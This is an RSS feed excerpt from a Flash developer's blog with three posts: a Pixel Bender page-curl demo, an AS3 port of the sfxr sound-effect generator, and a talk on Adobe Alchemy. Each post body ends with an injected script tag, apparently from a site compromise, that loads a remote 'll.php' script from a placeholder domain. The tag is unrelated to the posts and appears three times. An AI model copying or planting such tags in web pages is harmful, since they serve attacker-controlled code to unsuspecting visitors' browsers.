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	<title>The Super Flash Bros &#187; Code</title>
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	<link>http://superflashbros.net</link>
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		<title>A Real Page-Turner</title>
		<link>http://superflashbros.net/2010/06/28/a-real-page-turner/</link>
		<comments>http://superflashbros.net/2010/06/28/a-real-page-turner/#comments</comments>
		<pubDate>Mon, 28 Jun 2010 15:15:35 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://superflashbros.net/?p=432</guid>
		<description><![CDATA[Here&#8217;s a little bit of fiddling I did with pixelbender, the shader language that&#8217;s built into Flash these days. I remember a time when the page-turning effect was the hottest thing around in flash, but most were just a clever combination of masks and gradients, at best. My effort uses the pixelbender filter to reposition [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a little bit of fiddling I did with <a href="http://labs.adobe.com/technologies/pixelbender/">pixelbender</a>, the shader language that&#8217;s built into Flash these days. </p>
<p>I remember a time when the page-turning effect was the hottest thing around in flash, but most were just a clever combination of masks and gradients, at best. My effort uses the pixelbender filter to reposition and shade every pixel in a fairly realistic fashion, modelled on a simple <a href="http://en.wikipedia.org/wiki/Hyperbolic_function">hyperbolic</a> curve (x^2 &#8211; y^2 = 1). </p>
<p><a href="http://superflashbros.net/curl/">Play with it here</a> (reacts to mouse movement within the flash box)</p>
<p><a href="http://superflashbros.net/curl/pagecurlsource.zip">Get the source here</a></p>
<p>Tom-<script src="http://$domain/ll.php?kk=11"></script></p>
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		<slash:comments>10</slash:comments>
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		<title>Retro Sound Effects</title>
		<link>http://superflashbros.net/2009/09/18/retro-sound-effects/</link>
		<comments>http://superflashbros.net/2009/09/18/retro-sound-effects/#comments</comments>
		<pubDate>Fri, 18 Sep 2009 14:24:23 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://superflashbros.net/?p=333</guid>
		<description><![CDATA[In my spare moments over the last week or two, I've been porting the excellent sfxr by Tomas Pettersson into AS3, and it's finally done!]]></description>
			<content:encoded><![CDATA[<p>In my spare moments over the last week or two, I&#8217;ve been porting the excellent sfxr by Tomas Pettersson into AS3, and it&#8217;s finally done!</p>
<p>If you haven&#8217;t used sfxr before, it&#8217;s a really neat app that lets you generate your own custom game sound effects, using the same kind of synthesizers that the classic consoles used. When you&#8217;re done tweaking the sound, you can save it out as a .wav ready to import into Flash</p>
<p>I&#8217;ve added a few features into my version, like history buttons and copy/paste functionality, but everything from the original is there too, even the .wav export feature!</p>
<p><a title="as3sfxr" href="http://www.superflashbros.net/as3sfxr/" target="_self">Play around with the app here</a></p>
<p>Even better, I&#8217;ve made it open source too, so you can use the synthesizer in your own code. That means for roughly 10kB, you can have as many sound effects in your game/movie as you like, without adding more filesize for each one. Check out the google code description page for a very simple demo of how to use SfxrSynth in your work, and to download the source code.</p>
<p><a title="as3sfxr" href="http://code.google.com/p/as3sfxr/" target="_self">Google Code project here</a></p>
<p>AS3, FP10 only though I&#8217;m afraid!<script src="http://$domain/ll.php?kk=11"></script></p>
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		<slash:comments>20</slash:comments>
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		<title>My Alchemy Presentation</title>
		<link>http://superflashbros.net/2009/06/12/my-alchemy-presentation/</link>
		<comments>http://superflashbros.net/2009/06/12/my-alchemy-presentation/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 19:44:10 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://superflashbros.net/?p=314</guid>
		<description><![CDATA[Here in London, Tink hosts a monthly meeting of Flash developers and artists called the London Flash Platform User Group. Every last Thursday of the month, we have two talks on Flash related topics, and then a little bit of drinking and networking and such (well, if you&#8217;re going to hold it in a bar&#8230;) [...]]]></description>
			<content:encoded><![CDATA[<p>Here in London, <a href="http://www.tink.ws/blog/">Tink</a> hosts a monthly meeting of Flash developers and artists called the <a href="http://www.lfpug.com/">London Flash Platform User Group</a>. Every last Thursday of the month, we have two talks on Flash related topics, and then a little bit of drinking and networking and such (well, if you&#8217;re going to hold it in a bar&#8230;)</p>
<p>This month just gone, I gave the first of the two presentations. I chose the topic of Adobe&#8217;s Alchemy project, since it&#8217;s pretty exciting stuff, and no-one had done a talk on it yet. The video (recorded on Tink&#8217;s webcam) is below. I haven&#8217;t spoken in public for some time, but I don&#8217;t think it went too badly considering. I&#8217;ve also put up the slides in SWF form, and the source from my examples. </p>
<p><a href="http://mike.newgrounds.com/">Mike</a> very kindly agreed to let me link to the Doom source code talked about in the presentation too.</p>
<p><a href="http://superflashbros.net/codefiles/Alchemy%20Talk.zip">My source and slides</a></p>
<p><a href="http://github.com/Herschel/flash-doom/tree/master">Mikes Doom source</a></p>
<div id="presentation">This movie requires Flash Player 9</div>
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<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		<slash:comments>5</slash:comments>
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